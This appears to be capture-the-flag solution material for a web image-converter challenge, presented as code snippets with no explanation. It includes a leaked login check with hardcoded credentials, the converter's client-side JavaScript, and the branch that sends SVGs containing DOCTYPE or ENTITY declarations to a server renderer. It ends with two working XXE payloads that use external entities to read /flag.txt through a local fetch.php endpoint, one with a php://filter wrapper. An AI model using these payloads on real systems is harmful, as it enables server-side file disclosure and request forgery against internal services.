1
# leaked login source
2
USERNAME = "m0rnis"
3
PASSWORD = "passw0rd"
4

5
def check_login(username, password):
6
    if username == USERNAME and password == PASSWORD:
7
        return True
8
    return False

1
const form = document.querySelector("#converter-form");
2
const fileInput = document.querySelector("#image");
3
const sourceSelect = document.querySelector("#source_format");
4
const targetSelect = document.querySelector("#target_format");
5
const preview = document.querySelector("#preview");
6
const statusBox = document.querySelector("#client-status");
7
const download = document.querySelector("#download-link");
8

9
const mimeByTarget = {
10
  png: "image/png",
11
  jpg: "image/jpeg",
12
  webp: "image/webp"
13
};
14

15
function setStatus(message, isError = false) {
16
  statusBox.textContent = message;
17
  statusBox.style.color = isError ? "#9d241b" : "#64725d";
18
}
19

20
function filenameFor(original, target) {
21
  const stem = original.replace(/\.[^.]+$/, "") || "portrait";
22
  return `${stem}.${target === "jpg" ? "jpg" : target}`;
23
}
24

25
function blobToText(blob) {
26
  return new Promise((resolve, reject) => {
27
    const reader = new FileReader();
28
    reader.onload = () => resolve(String(reader.result || ""));
29
    reader.onerror = reject;
30
    reader.readAsText(blob);
31
  });
32
}
33

34
function loadImageFromFile(file) {
35
  return new Promise((resolve, reject) => {
36
    const img = new Image();
37
    img.onload = () => resolve(img);
38
    img.onerror = () => reject(new Error("The browser could not decode this image format."));
39
    img.src = URL.createObjectURL(file);
40
  });
41
}
42

43
function canvasToBlob(canvas, mime) {
44
  return new Promise((resolve) => canvas.toBlob(resolve, mime, mime === "image/jpeg" ? 0.92 : undefined));
45
}
46

47
form.addEventListener("submit", async (event) => {
48
  const file = fileInput.files[0];
49
  const source = sourceSelect.value;
50
  const target = targetSelect.value;
51

52
  if (!source || !target) {
53
    event.preventDefault();
54
    setStatus("Choose both a source format and a target format.", true);
55
    return;
56
  }
57

58
  if (!file) {
59
    return;
60
  }
61

62
  if (source === "svg" && target === "png") {
63
    const text = await blobToText(file);
64
    if (/<!\s*(doctype|entity)|SYSTEM\s+["']/i.test(text)) {
65
      setStatus("Sending SVG to the workshop renderer...");
66
      return;
67
    }
68
  }
69

70
  event.preventDefault();
71

72
  if (!mimeByTarget[target]) {
73
    setStatus("This browser can export PNG, JPG, and WEBP portraits.", true);
74
    return;
75
  }
76

77
  try {
78
    setStatus("Converting locally in your browser...");
79
    const img = await loadImageFromFile(file);
80
    const canvas = document.createElement("canvas");
81
    const maxSide = 900;
82
    const scale = Math.min(1, maxSide / Math.max(img.naturalWidth || img.width, img.naturalHeight || img.height));
83
    canvas.width = Math.max(1, Math.round((img.naturalWidth || img.width) * scale));
84
    canvas.height = Math.max(1, Math.round((img.naturalHeight || img.height) * scale));
85
    const ctx = canvas.getContext("2d");
86
    ctx.fillStyle = "#fffdf3";
87
    ctx.fillRect(0, 0, canvas.width, canvas.height);
88
    ctx.drawImage(img, 0, 0, canvas.width, canvas.height);
89

90
    const converted = await canvasToBlob(canvas, mimeByTarget[target]);
91
    if (!converted) {
92
      throw new Error("The browser refused to export that target format.");
93
    }
94

95
    const url = URL.createObjectURL(converted);
96
    preview.innerHTML = "";
97
    preview.appendChild(canvas);
98
    download.href = url;
99
    download.download = filenameFor(file.name, target);
100
    download.style.display = "block";
101
    setStatus(`Converted ${source.toUpperCase()} to ${target.toUpperCase()} locally.`);
102
  } catch (error) {
103
    setStatus(error.message, true);
104
  }
105
});

1
if (source === "svg" && target === "png") {
2
    const text = await blobToText(file);
3
    if (/<!\s*(doctype|entity)|SYSTEM\s+["']/i.test(text)) {
4
      setStatus("Sending SVG to the workshop renderer...");
5
      return;
6
    }
7
  }

1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE svg [
3
  <!ENTITY xxe SYSTEM "http://127.0.0.1/fetch.php?url=/flag.txt">
4
]>
5
<svg xmlns="http://www.w3.org/2000/svg" width="900" height="520">
6
  <text x="10" y="40">&xxe;</text>
7
</svg>

1
<?xml version="1.0" encoding="UTF-8"?>
2
<! DOCTYPE svg [
3
  <! ENTITY xxe SYSTEM "http://0/fetch.php?url=php://filter/resource=/flag.txt">
4
]>
5
<svg xmlns="http://www.w3.org/2000/svg" width="900" height="520">
6
  <text x="10" y="40">&xxe;</text>
7
</svg>